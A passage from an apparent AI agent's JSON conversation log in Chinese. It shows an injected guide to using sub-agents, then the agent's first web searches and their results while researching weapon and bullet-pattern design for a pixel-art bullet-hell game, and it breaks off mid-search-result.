FAQ:雷电武器道具(红/蓝/紫、H/M)、8 级火力、死亡掉落机制\n\n---\n\n*本报告为公开资料调研整理,涉及具体数值(如怒首领蜂激光伤害、东方 P 道具数值)均以上述来源为准,细节以各游戏实际版本为准。*", "current_truncated": false, "updated_at": "2026-08-23T12:32:27.760946"}], "_history_file": "我要做一个像素风格的弹幕射击游戏,但我不知道如何美术设计,请你帮我去调研一下其他_2026-08-23_122837_104.diff"}}}, {"role": "user", "content": "[系统通知|skill]\n---\nname: sub-agent-guide\ndescription: 子智能体使用指南。创建子智能体之前必须阅读此技能。子智能体仅用于并行处理独立的“非代码编写”任务(如项目初步探索、网络搜索与信息收集、程序测试执行)。关键限制:子智能体之间无法通信,看不到主对话历史。严格禁止将子智能体用于项目代码编写、代码修改、重构或实现功能。**如果运行模式为多智能体模式,禁止阅读并参考该 skill。**\n---\n\n# 子智能体使用指南\n\n## 核心原则\n\n**一个子智能体 = 一个完整的独立任务**\n\n子智能体拥有完整工具能力,但与主智能体和其他子智能体完全隔离。它们看不到你的对话历史,无法互相通信,只能通过文件系统共享信息。\n\n**硬性限制:子智能体严格禁止用于项目代码编写/修改。**\n\n## 何时使用\n\n**适合(推荐):**\n- **项目初期探索**:快速梳理目录结构、模块职责、运行方式,形成初步认知\n- **占用大量上下文的网络搜索和信息收集**:竞品调研、资料汇总、文档整理、新闻/资料比对\n - **重要**:进行大范围搜索或调查前,必须先自己进行一次浅层搜索/调查,摸清关键词、主要来源和任务边界,再创建子智能体并给出精确指导。\n- **程序测试与验证**:执行测试命令、收集日志、汇总失败用例与错误模式\n- **并行独立的文档/分析任务**:生成说明文档、运行报告、排查清单\n\n**不适合:**\n- 任务之间需要频繁协调(子智能体无法互相通信)\n- 简单快速的任务(创建子智能体有开销)\n- 需要你参与决策的任务(子智能体是自主运行的)\n- 任何项目代码编写、代码修改、代码重构、功能实现任务(必须由主智能体处理)\n- 任何会直接改动项目源码的开发工作\n\n## 任务描述的艺术\n\n子智能体看不到你的对话历史,task 参数是它收到的唯一指令。\n\n**关键要素:**\n1. **明确的目标** - 要做什么,产出什么\n2. **清晰的范围** - 操作哪些文件/目录\n3. **具体的交付物** - 生成什么文件,放在哪里\n4. **完成标准** - 什么算完成\n\n**好的示例:**\n\n```\n# 代码定位任务\n用户反馈了一个程序 bug:登录时偶尔报 500 错误。\n1. 先自己阅读项目结构,确认技术栈和登录相关模块位置\n2. 复现或定位错误触发条件,理解问题表现\n3. 创建子智能体:在 src/auth/、src/middleware/、src/api/login/ 等目录中查找可能导致 500 的代码路径\n4. 子智能体交付可疑文件列表和代码位置,生成 bug_location.md\n\n# 网络调研任务\n用户要求调查国产开源智能体功能:\n1. 先自己进行一次浅层搜索,列出当前主要的国产开源智能体(如 AgentScope、DB-GPT、ModelScope-Agent 等)\n2. 根据初步结果,为每个候选智能体创建独立的子智能体,分别调研其功能特性、架构设计、适用场景\n3. 每个子智能体生成独立报告\n4. 最后由你整合对比,生成 overall_comparison.md\n\n# 系统信息收集\n收集当前计算机的硬件和系统信息:\n1. CPU 架构、型号、核心数\n2. GPU 型号、显存、驱动版本\n3. 内存大小、系统版本\n4. 保存为 system_info.md\n```\n\n**避免:**\n- ❌ \"帮我分析一下认证代码\" - 太模糊\n- ❌ \"如果发现问题请告诉我\" - 子智能体无法与你交互\n- ❌ \"先做 A,然后等我确认再做 B\" - 子智能体是一次性执行的\n\n## 交付目录设计\n\n`deliverables_dir` 必须是**不存在的新目录**,子智能体会把所有成果放在这里。\n\n**命名建议:**\n```\nsub_agent_results/task_description/ # 清晰描述任务\nsub_agent_results/module_a_docs/ # 按模块组织\nsub_agent_results/test_auth_report/ # 按测试/报告组织\n```\n\n**避免:**\n- ❌ 使用已存在的目录(会报错)\n- ❌ 使用绝对路径(必须是相对于项目根目录的相对路径)\n- ❌ 使用通用名称如 \"output\" \"result\"(多个子智能体会冲突)\n\n## 执行模式:阻塞 vs 后台\n\n子智能体有两种执行模式,通过 `run_in_background` 参数控制:\n\n### 阻塞模式(run_in_background=false,默认)\n\n**行为:**\n- 创建子智能体后,你会**停止输出**,等待它完成\n- 完成后结果直接在工具返回中给出,继续你的工作\n- 不会有额外的系统通知消息\n\n**何时使用:**\n- ✅ 快速任务(预计 < 1 分钟)\n- ✅ 需要立即使用结果的任务\n- ✅ 单个子智能体,没有其他并行工作\n\n**示例:**\n```python\n# 快速信息搜集,立即需要结果\ncreate_sub_agent(\n agent_id=1,\n summary=\"搜索 Python 3.12 新特性\",\n task=\"搜索并整理 Python 3.12 的主要新特性,生成 python312.md\",\n deliverables_dir=\"research/python312\",\n run_in_background=false, # 阻塞等待\n timeout_seconds=300\n)\n# 工具返回后,你可以立即读取 research/python312/python312.md\n```\n\n### 后台模式(run_in_background=true)\n\n**行为:**\n- 创建子智能体后,工具**立即返回**,你可以继续做其他事情\n- 子智能体在后台运行,完成后系统会**自动插入一条 user 消息**通知你\n- 你会在对话中看到类似:\"这是一句系统自动发送的user消息,用于通知你子智能体已经运行完成...\"\n\n**完成通知机制说明:**\n- 后台子智能体完成的通知是系统自动插入的 user 消息(前缀 `[系统通知|sub_agent]`),不依赖手动调用任何轮询接口。\n- 你只需在收到通知后直接查看交付目录即可,系统会把所有必需信息一并带上。\n\n**何时使用:**\n- ✅ 需要同时创建多个子智能体\n- ✅ 创建后你有其他工作可以先做(回答用户问题、处理其他任务)\n\n**后台模式下你应该做什么:**\n\n**情况 A:运行子智能体期间需要做别的事情**\n```python\n# 创建多个后台任务\ncreate_sub_agent(agent_id=1, task=\"...\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"...\", run_in_background=true, ...)\n\n# 立即告诉用户并继续其他工作\n\"我已经启动了2个子智能体在后台并行工作,预计需要10-15分钟。在等待期间,我可以先帮你处理其他事情。\"\n\n# 然后你可以:\n# - 回答用户的其他问题\n# - 处理其他任务\n# - 阅读代码、分析问题\n# - 运行其他工具\n# 子智能体完成时会自动插入一条 system 消息通知你\n```\n\n**情况 B:运行子智能体期间不需要做别的事情,且只需要一个子智能体**\n```python\n# 只有单个子智能体,且期间没有其他工作,直接使用阻塞模式\ncreate_sub_agent(agent_id=1, task=\"大规模日志分析\", run_in_background=false, timeout_seconds=1800)\n\n# 等待工具返回后,直接读取交付目录处理结果\n```\n\n**情况 C:运行子智能体期间不需要做别的事情,但需要同时创建多个子智能体**\n```python\n# 多个子智能体同时运行,即使自己暂时没事做,也全部使用后台模式\ncreate_sub_agent(agent_id=1, task=\"分析前端认证实现\", deliverables_dir=\"analysis/frontend_auth\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"分析后端鉴权实现\", deliverables_dir=\"analysis/backend_auth\", run_in_background=true, ...)\n\n# 告诉用户预计时间\n\"我已启动2个子智能体并行分析认证与鉴权实现,预计需要10-15分钟。系统会在完成后自动通知我,届时我会立即整合结果并回复你。\"\n\n# 然后停止工作和输出,等待系统通知\n# 每个子智能体完成后,系统都会自动发送一条 user 消息通知你\n```\n\n**重要提示:**\n- 系统会自动处理通知,你只需要在收到通知消息后处理结果即可\n- 如果你正在执行工具调用,系统会延迟通知,避免打断你的工作流\n- 不论运行中还是空闲,通知一律是带 `[系统通知|sub_agent]` 前缀的 user 消息;运行中只是通知不触发新一轮回复,空闲时等同于一条新输入会触发回复\n- 后台完成由上述系统通知负责,不要再依赖任何手动等待流,系统会在能插入消息时自动通知你。\n\n### 模式选择决策树\n\n```\n任务预计耗时 < 1 分钟?\n├─ 是 → 使用阻塞模式(run_in_background=false)\n└─ 否 → 需要同时创建多个子智能体?\n ├─ 是 → 使用后台模式(run_in_background=true),然后停止输出等待系统通知\n └─ 否 → 创建后你有没有其他工作可以先做?\n ├─ 是 → 使用后台模式(run_in_background=true),继续处理其他工作\n └─ 否 → 使用阻塞模式(run_in_background=false)\n```\n\n> **核心判断标准**:选择阻塞模式还是后台模式,**唯一标准是创建子智能体后你自己还有没有别的事情要做**,和子智能体本身被用来做什么任务无关。不要因为任务是“搜索”就一定用后台,也不要因为任务是“分析”就一定用阻塞。\n\n## 并行执行模式\n\n创建多个子智能体时,确保它们的任务**完全独立**:\n\n```python\n# ✅ 好的并行:各自独立,使用后台模式\ncreate_sub_agent(agent_id=1, task=\"生成模块 A 的文档\", deliverables_dir=\"docs/module_a\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"生成模块 B 的文档\", deliverables_dir=\"docs/module_b\", run_in_background=true, ...)\n# 告诉用户:\"已启动2个子智能体并行生成文档,预计10分钟完成。系统会在完成后自动通知我。\"\n# 然后你可以继续做其他事情,或者停止输出等待通知\n\n# ✅ 好的并行:信息搜集\n# 先自己浅层搜索,列出 3-5 个国产开源智能体\n# 然后为每个智能体创建独立的子智能体并行调研\ncreate_sub_agent(agent_id=1, task=\"调研 AgentScope 的功能特性、架构和适用场景\", deliverables_dir=\"research/agentscope\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"调研 DB-GPT 的功能特性、架构和适用场景\", deliverables_dir=\"research/dbgpt\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=3, task=\"调研 ModelScope-Agent 的功能特性、架构和适用场景\", deliverables_dir=\"research/modelscope_agent\", run_in_background=true, ...)\n# 等系统自动通知全部完成后,你再整合生成对比报告\n\n# ✅ 好的并行:系统调研\ncreate_sub_agent(agent_id=1, task=\"分析前端认证实现\", deliverables_dir=\"analysis/frontend_auth\", run_in_background=true, ...)\ncreate_sub_agent(agent_id=2, task=\"分析后端鉴权实现\", deliverables_dir=\"analysis/backend_auth\", run_in_background=true, ...)\n# 系统会在每个完成时发送通知,你可以逐个处理或等全部完成\n```\n\n```python\n# ❌ 不好的并行:需要协作\ncreate_sub_agent(agent_id=1, task=\"收集日志\", ...)\ncreate_sub_agent(agent_id=2, task=\"基于子智能体1的日志结论生成报告\", ...) # 依赖子智能体1的结果\n# 子智能体2不知道子智能体1什么时候完成,无法协调\n```\n\n## 常见陷阱\n\n### 1. 期望子智能体协作\n\n❌ **错误:**\n```python\ncreate_sub_agent(agent_id=1, task=\"收集 A 类日志并通知子智能体2\")\ncreate_sub_agent(agent_id=2, task=\"等待子智能体1完成,然后汇总 B 类报告\")\n```\n\n子智能体之间无法通信。如果任务有依赖,应该:\n- 方案1:顺序执行(等第一个完成后再创建第二个)\n- 方案2:让一个子智能体完成整个流程\n\n### 2. 忘记子智能体看不到对话历史\n\n❌ **错误:**\n```python\n# 你在对话中说:\"我们要排查认证流程问题\"\ncreate_sub_agent(task=\"按照我们讨论的方案排查认证流程\")\n```\n\n✅ **正确:**\n```python\ncreate_sub_agent(task=\"\"\"\n排查 src/auth/ 目录认证流程:\n- 梳理认证相关入口、调用链和关键配置\n- 运行现有测试并记录失败项\n- 生成诊断报告(auth_diagnosis.md)\n- 不允许修改任何项目源码\n\"\"\")\n```\n\n### 3. 超时时间设置不当\n\n子智能体超时后会被强制终止,已完成的工作可能丢失。\n\n**经验值:**\n- 文档生成:600-900 秒\n- 信息搜集/网络调研:900-1800 秒\n- 大规模分析:1800-3600 秒\n\n宁可设置得长一些,也不要让子智能体因超时而前功尽弃。\n\n### 4. agent_id 重复使用\n\n同一对话中,每个 agent_id 只能使用一次。如果子智能体失败需要重试,必须使用新的 agent_id。\n\n```python\ncreate_sub_agent(agent_id=1, ...) # 失败了\n# ❌ create_sub_agent(agent_id=1, ...) # 会报错\n# ✅ create_sub_agent(agent_id=2, ...) # 使用新的 ID\n```\n\n## 检查结果\n\n### 阻塞模式下\n\n工具返回中直接包含结果:\n\n```python\nresult = create_sub_agent(agent_id=1, run_in_background=false, ...)\n\nif result[\"success\"]:\n # 读取交付目录中的文件\n deliverables = result[\"deliverables_dir\"]\n # 处理生成的文件...\nelse:\n # 检查失败原因\n if result[\"status\"] == \"timeout\":\n # 考虑增加 timeout_seconds 重试\n else:\n # 查看 result[\"message\"] 了解失败原因\n```\n\n### 后台模式下\n\n等待系统自动插入的通知消息:\n\n**如果你继续工作**,会收到 system 消息:\n```\n✅ 子智能体1 任务摘要:搜索 Python 3.12 新特性 已完成。\n\n调用了15次\n阅读了8次文件\n编辑了2次文件\n搜索了3次内容\n查看了5个网页\n运行了2个指令\n\n运行了245秒\n\n已搜索并整理 Python 3.12 的主要新特性...\n\n交付目录:research/python312\n```\n\n**如果你停止输出**,会收到 user 消息:\n```\n这是一句系统自动发送的user消息,用于通知你子智能体已经运行完成\n\n子智能体1 (搜索 Python 3.12 新特性) 已完成任务。\n\n已搜索并整理 Python 3.12 的主要新特性...\n\n运行了245秒\n\n交付目录:research/python312\n```\n\n收到通知后,读取交付目录中的文件并处理结果。\n\n## thinking_mode 选择\n\n- `fast`:常规任务(文档生成、信息搜集、数据分析)\n- `thinking`:需要深度推理的任务(架构设计、复杂算法分析、安全审计)\n\n大多数情况下使用 `fast` 即可。\n\n## 总结\n\n子智能体的本质是**并行执行完全独立的任务**。\n\n**关键要点:**\n1. **执行模式选择**:运行子智能体期间没有别的事情要做且只创建一个子智能体 → 阻塞模式;需要同时创建多个子智能体,或期间有其他工作可以先做 → 后台模式\n2. **后台模式下**:创建后继续工作或停止输出,系统会自动通知完成\n3. **任务独立性**:子智能体之间无法通信,确保任务完全独立\n4. **任务描述**:子智能体看不到对话历史,task 参数必须包含所有信息\n\n如果你发现自己在设计子智能体之间的协作流程,那可能不应该使用子智能体,而应该自己顺序执行这些步骤。\n", "timestamp": "2026-08-23T12:28:37.107418", "message_id": "msg_1cc4fa3036b543f1a5d1c91cde626361", "metadata": {"source": "skill", "message_source": "skill", "visibility": "hidden", "starts_work": false, "hidden": true, "skill_name": "sub-agent-guide", "skill_path": ".astrion/skills/sub-agent-guide/SKILL.md"}}, {"role": "assistant", "reasoning_content": "用户想要做一个像素风格的弹幕射击游戏,但需要调研其他弹幕游戏中的武器和敌方射击设计。用户明确要求我使用 sub-agent-guide 来指导子智能体的使用。\n\n根据 sub-agent-guide,我需要:\n1. 先自己进行一次浅层搜索,了解主要的弹幕射击游戏和关键信息\n2. 然后创建子智能体进行更深入的调研\n\n但是,我需要注意当前是计划模式,不能执行修改操作。不过子智能体是用于调研和信息收集的,这是允许的。\n\n让我先进行一次浅层搜索,了解弹幕射击游戏中的经典作品和它们的设计特点,然后再决定如何分配子智能体任务。\n\n我应该搜索:\n1. 经典弹幕射击游戏(STG)的武器设计\n2. 经典弹幕射击游戏的敌方弹幕模式\n3. 像素风格弹幕射击游戏的美术设计参考\n\n让我先进行浅层搜索。", "content": "好的!我来帮你调研像素风格弹幕射击游戏的武器和敌方射击设计。按照 sub-agent-guide 的要求,我先进行一次浅层搜索,摸清关键信息后再分配子智能体深入调研。", "timestamp": "2026-08-23T12:28:51.896854", "message_id": "msg_973697909f1649e483de5ac486e11854", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "web_search_0", "index": 0, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"搜索经典弹幕射击游戏\", \"query\": \"经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\", \"max_results\": 10}"}}, {"id": "web_search_1", "index": 1, "type": "function", "function": {"name": "web_search", "arguments": "{\"intent\": \"搜索弹幕射击游戏美术设计\", \"query\": \"pixel art bullet hell game weapon enemy bullet pattern design reference\", \"max_results\": 10}"}}]}, {"role": "tool", "content": "{\"success\": true, \"summary\": \"🔍 搜索查询: 经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\\n📅 搜索时间: 2026-08-23T12:28:59.681514\\n🎯 过滤条件: Topic: general\\n\\n📊 搜索结果:\\n\\n1. 策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...\\n 🔗 https://zhuanlan.zhihu.com/p/611683576\\n 📄 是一款回合制战术射击游戏。 它以像素画风刻画了一个飞船弹幕射击的游戏。在游戏中玩家将使用回合制进行行动,所有的敌方弹幕都会以回合的方式向玩家袭来\\n\\n2. 弹幕射击游戏 - 维基百科,自由的百科全书\\n 🔗 https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2\\n 📄 最先将以上特征发扬光大的游戏是在1997年发售的怒首领蜂,不过因为当时的电脑硬件及软件尚未先进,画面上能显示的弹幕和人物单位都被大大限制;近年的CG处理技术已发展成熟,要在画面上显示上百名角色和上千发弹幕已经不成问题。在2000年后,类似怒首领蜂的射击游戏陆续出现,确立了弹幕射击游戏的形象。\\n\\n虽然敌方的子弹比普通的射击游戏更密集,但因为不论敌弹判定还是自机被击中判定也非常小的关系,弹幕射击游戏的...\\n\\n3. 弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经\\n 🔗 https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml\\n 📄 本文盘点了近年来备受玩家喜爱的十大经典弹幕射击游戏。包括太空题材横版射击的《Cryptark》、像素风格动作游戏《次元旅行者海王星TOP NEP》、Applava\\n\\n4. 国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网\\n 🔗 https://www.hitevision.com/wiki_jfUxuxDh.htm\\n 📄 《国精吃瓜视频》是一款融合了经典像素风格与激烈弹幕射击玩法的手机游戏,以《我叫MT》IP为背景,带来全新的冒险体验。本文深度介绍游戏详情、特色\\n\\n5. 【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)\\n 🔗 https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm\\n 📄 游戏中机体的攻击方式较为特别,玩家可以选择两种模式的武器,分别为BEAM和HYPER,这两种模式在进行攻击的时候,不仅可以和通常状态下一样单发射击,还\\n\\n6. 11款你绝对不能错过的《子弹天堂》游戏\\n 🔗 https://soulbound.game/zh/blog/best-bullet-heaven-games\\n 📄 游戏时长约20分钟,这使得《Brotato》非常适合在午休时间、通勤途中(游戏也支持移动端)游玩,或是那些“再玩一局”的时刻——这些时刻往往会比你预想的更快地累积起来。由于支持Steam创意工坊,即使你已经玩遍了基础内容,社区仍会源源不断地推出新角色和模组。只需4.99美元,在尚未接触社区内容之前,你就能轻松获得50多个小时的游戏体验。\\n\\n类型:竞技场射击 / 弹幕天堂 |盈利模式:买断制(4.9...\\n\\n7. 3D彈幕STG/-哔哩哔哩_bilibili\\n 🔗 https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F\\n 📄 SeiweLL · 06-20\\n\\n81751\\n\\n04:24\\n\\n### 快速制作STG弹幕游戏,开源项目Danmaku简单学习\\n\\nYurineko73 · 2022-02-15\\n\\n23969\\n\\n61:21:21\\n\\n### 枪械硬表面建模大师班:Blender+SP+八猴全流程 | 硬表面建模 / Blender / SP / Marmoset / UV烘焙 / AAA资产\\n\\n游戏设计哈基米 · 08...\\n\\n8. 弹幕射击游戏(STG)程序设计\\n 🔗 https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html\\n 📄 {new\\\\_bullet.transform.rotation =Quaternion.AngleAxis(-Mathf.Atan(Mathf.Abs(new\\\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\\\_bullet.transform.position.x - character.t...\\n\\n9. 《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...\\n 🔗 https://www.youtube.com/watch?v=PfUVYypi86E\\n 📄 《Neko》是一款由兩名學生製作的輕鬆向Roguelite 遊戲,玩家要謹慎選擇技能、搭配實機施放,並運用走位技巧才能找出致勝的關鍵。遊戲融合了輕鬆愉快的\\n\\n10. r/Games 类型讨论- 弹幕游戏 - Reddit\\n 🔗 https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans\\n 📄 风格的射击游戏, 就像《宇宙巡航机》或者《雷电》这样的射击游戏,只不过弹幕的模式更复杂/密集。玩家的判定框通常也只有几个像素宽。\", \"query\": \"经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\", \"filters\": {\"topic\": \"general\"}, \"total_results\": 10, \"results\": [{\"index\": 1, \"title\": \"策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...\", \"url\": \"https://zhuanlan.zhihu.com/p/611683576\"}, {\"index\": 2, \"title\": \"弹幕射击游戏 - 维基百科,自由的百科全书\", \"url\": \"https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2\"}, {\"index\": 3, \"title\": \"弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经\", \"url\": \"https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml\"}, {\"index\": 4, \"title\": \"国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网\", \"url\": \"https://www.hitevision.com/wiki_jfUxuxDh.htm\"}, {\"index\": 5, \"title\": \"【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)\", \"url\": \"https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm\"}, {\"index\": 6, \"title\": \"11款你绝对不能错过的《子弹天堂》游戏\", \"url\": \"https://soulbound.game/zh/blog/best-bullet-heaven-games\"}, {\"index\": 7, \"title\": \"3D彈幕STG/-哔哩哔哩_bilibili\", \"url\": \"https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F\"}, {\"index\": 8, \"title\": \"弹幕射击游戏(STG)程序设计\", \"url\": \"https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html\"}, {\"index\": 9, \"title\": \"《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...\", \"url\": \"https://www.youtube.com/watch?v=PfUVYypi86E\"}, {\"index\": 10, \"title\": \"r/Games 类型讨论- 弹幕游戏 - Reddit\", \"url\": \"https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans\"}]}", "timestamp": "2026-08-23T12:28:59.691360", "message_id": "msg_b1a3295cac57404c8bfe1f1e22cb9a28", "metadata": {"tool_payload": {"success": true, "summary": "🔍 搜索查询: 经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格\n📅 搜索时间: 2026-08-23T12:28:59.681514\n🎯 过滤条件: Topic: general\n\n📊 搜索结果:\n\n1. 策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...\n 🔗 https://zhuanlan.zhihu.com/p/611683576\n 📄 是一款回合制战术射击游戏。 它以像素画风刻画了一个飞船弹幕射击的游戏。在游戏中玩家将使用回合制进行行动,所有的敌方弹幕都会以回合的方式向玩家袭来\n\n2. 弹幕射击游戏 - 维基百科,自由的百科全书\n 🔗 https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2\n 📄 最先将以上特征发扬光大的游戏是在1997年发售的怒首领蜂,不过因为当时的电脑硬件及软件尚未先进,画面上能显示的弹幕和人物单位都被大大限制;近年的CG处理技术已发展成熟,要在画面上显示上百名角色和上千发弹幕已经不成问题。在2000年后,类似怒首领蜂的射击游戏陆续出现,确立了弹幕射击游戏的形象。\n\n虽然敌方的子弹比普通的射击游戏更密集,但因为不论敌弹判定还是自机被击中判定也非常小的关系,弹幕射击游戏的...\n\n3. 弹幕射击游戏哪些人气高十大经典弹幕射击游戏精选 - 新浪财经\n 🔗 https://finance.sina.com.cn/tech/roll/2025-04-26/doc-ineunmex1100395.shtml\n 📄 本文盘点了近年来备受玩家喜爱的十大经典弹幕射击游戏。包括太空题材横版射击的《Cryptark》、像素风格动作游戏《次元旅行者海王星TOP NEP》、Applava\n\n4. 国精吃瓜视频安卓下载v3.2.0_像素弹幕射击新作 - 鸿合HiteVision官网\n 🔗 https://www.hitevision.com/wiki_jfUxuxDh.htm\n 📄 《国精吃瓜视频》是一款融合了经典像素风格与激烈弹幕射击玩法的手机游戏,以《我叫MT》IP为背景,带来全新的冒险体验。本文深度介绍游戏详情、特色\n\n5. 【资料】口袋中的弹幕——GBA STG综述(NW旅团原创)\n 🔗 https://www.newwise.com/guide_8/dc_15/2005-06/386FC52F-4ABF-63FA-C901-15363EDC708B.htm\n 📄 游戏中机体的攻击方式较为特别,玩家可以选择两种模式的武器,分别为BEAM和HYPER,这两种模式在进行攻击的时候,不仅可以和通常状态下一样单发射击,还\n\n6. 11款你绝对不能错过的《子弹天堂》游戏\n 🔗 https://soulbound.game/zh/blog/best-bullet-heaven-games\n 📄 游戏时长约20分钟,这使得《Brotato》非常适合在午休时间、通勤途中(游戏也支持移动端)游玩,或是那些“再玩一局”的时刻——这些时刻往往会比你预想的更快地累积起来。由于支持Steam创意工坊,即使你已经玩遍了基础内容,社区仍会源源不断地推出新角色和模组。只需4.99美元,在尚未接触社区内容之前,你就能轻松获得50多个小时的游戏体验。\n\n类型:竞技场射击 / 弹幕天堂 |盈利模式:买断制(4.9...\n\n7. 3D彈幕STG/-哔哩哔哩_bilibili\n 🔗 https://search.bilibili.com/all?keyword=3D%E5%BD%88%E5%B9%95STG%2F\n 📄 SeiweLL · 06-20\n\n81751\n\n04:24\n\n### 快速制作STG弹幕游戏,开源项目Danmaku简单学习\n\nYurineko73 · 2022-02-15\n\n23969\n\n61:21:21\n\n### 枪械硬表面建模大师班:Blender+SP+八猴全流程 | 硬表面建模 / Blender / SP / Marmoset / UV烘焙 / AAA资产\n\n游戏设计哈基米 · 08...\n\n8. 弹幕射击游戏(STG)程序设计\n 🔗 https://farinacg.com/%E5%BC%B9%E5%B9%95%E5%B0%84%E5%87%BB%E6%B8%B8%E6%88%8F%EF%BC%88STG%EF%BC%89%E7%A8%8B%E5%BA%8F%E8%AE%BE%E8%AE%A1.html\n 📄 {new\\_bullet.transform.rotation =Quaternion.AngleAxis(-Mathf.Atan(Mathf.Abs(new\\_bullet.transform.position.y - character.transform.position.y) /Mathf.Abs(new\\_bullet.transform.position.x - character.t...\n\n9. 《neko》復古風格2D 像素風格Roguelite 彈幕射擊遊戲【放視 ...\n 🔗 https://www.youtube.com/watch?v=PfUVYypi86E\n 📄 《Neko》是一款由兩名學生製作的輕鬆向Roguelite 遊戲,玩家要謹慎選擇技能、搭配實機施放,並運用走位技巧才能找出致勝的關鍵。遊戲融合了輕鬆愉快的\n\n10. r/Games 类型讨论- 弹幕游戏 - Reddit\n 🔗 https://www.reddit.com/r/Games/comments/2cyesw/rgames_genre_discussion_bullet_hell?tl=zh-hans\n 📄 风格的射击游戏, 就像《宇宙巡航机》或者《雷电》这样的射击游戏,只不过弹幕的模式更复杂/密集。玩家的判定框通常也只有几个像素宽。", "filters": {"topic": "general"}, "query": "经典弹幕射击游戏 STG 武器设计 敌方弹幕模式 像素风格", "results": [{"index": 1, "title": "策略类弹幕游戏《Next Jump: Shmup Tactics》中现代像素设计下的旧时代 ...", "url": "https://zhuanlan.zhihu.com/p/611683576", "content": "是一款回合制战术射击游戏。 它以像素画风刻画了一个飞船弹幕射击的游戏。在游戏中玩家将使用回合制进行行动,所有的敌方弹幕都会以回合的方式向玩家袭来", "score": 0.73642004, "published_date": ""}, {"index": 2, "title": "弹幕射击游戏 - 维基百科,自由的百科全书", "url": "https://zh.wikipedia.org/zh-hans/%E5%BD%88%E5%B9%95%E5%B0%84%E6%93%8A%E9%81%8A%E6%88%B2", "content": "最先将以上特征发扬光大的游戏是在1997年发售的怒首领蜂,不过因为当时的电脑硬件及软件尚未先进,画面上能显示的弹幕和人物单位都被大大限制;近年的CG处理技术已发展成熟,要在画面上显示上百名角色和上千发弹幕已经不成问题。在2000年后,类似怒首领蜂的射击游戏陆续出现,确立了弹幕射击游戏的形象。\n\n虽然敌方的子弹比普通的射击游戏更密集,但因为不论敌弹判定还是自机被击中判定也非常小的关系,弹幕射击游戏的难度也不一定比过往的射击游戏高很多。\n\n日式风格的弹幕射击游戏几乎清一色都是属于纵卷轴射击游戏,只有一部分的商业、同人弹幕射击游戏(如プロギアの岚、DeathSmiles等)是属于横向卷轴射击游戏的。这是因为在人类眼睛的构造上,以上下视线(Y轴)判断从横而来的弹幕,比以左右视线(X轴)判断从上而来的弹幕难得多的关系,使得横向卷轴不适合用于敌方弹幕超密集的游戏上。\n\n## 著名的弹幕射击类游戏\n\n[编辑]\n\n 东方Project系列(上海爱丽丝幻乐团)\n\n: 同人组织的作品,作为系列中弹幕射击游戏的第一作的是东方封魔录。系列每作全部都有4种难度选择,照顾了新手玩家及高手。弹幕有规律性,但较复杂。\n: 其特点是每个关道、头目都有其主题音乐,会配合场景和角色配合不同曲风,比起其他系列的音乐更注重旋律和节奏、较无紧张感,作曲较细腻。\n\n 式神之城系列(Alfa System)\n\n: 接近敌方子弹是本作的攻略关键,因为此举能增加获得分数的倍率和自机攻击力。\n\n 首领蜂系列(CAVE)\n\n: 弹幕射击游戏的始祖。\n: 同社最擅长制作弹幕射击游戏,其他作品还有ESP RA.DE.、プロギアの岚、虫姫さま等(但由别社发售)。从1997年以来几乎每年都会发表弹幕射击游戏。\n\n 绊地狱系列(CAVE)\n\n: 弹幕设计的特点主要是近易远难,STG中很独特的风格,很有爽感。 [...] 绊地狱系列(CAVE)\n\n: 弹幕设计的特点主要是近易远难,STG中很独特的风格,很有爽感。\n\n 虫姬系列(CAVE)\n\n: 有3个模式,系统和弹幕各不相同\n\n ESP系列(CAVE)\n 沙曼陀蛇系列\n\n: 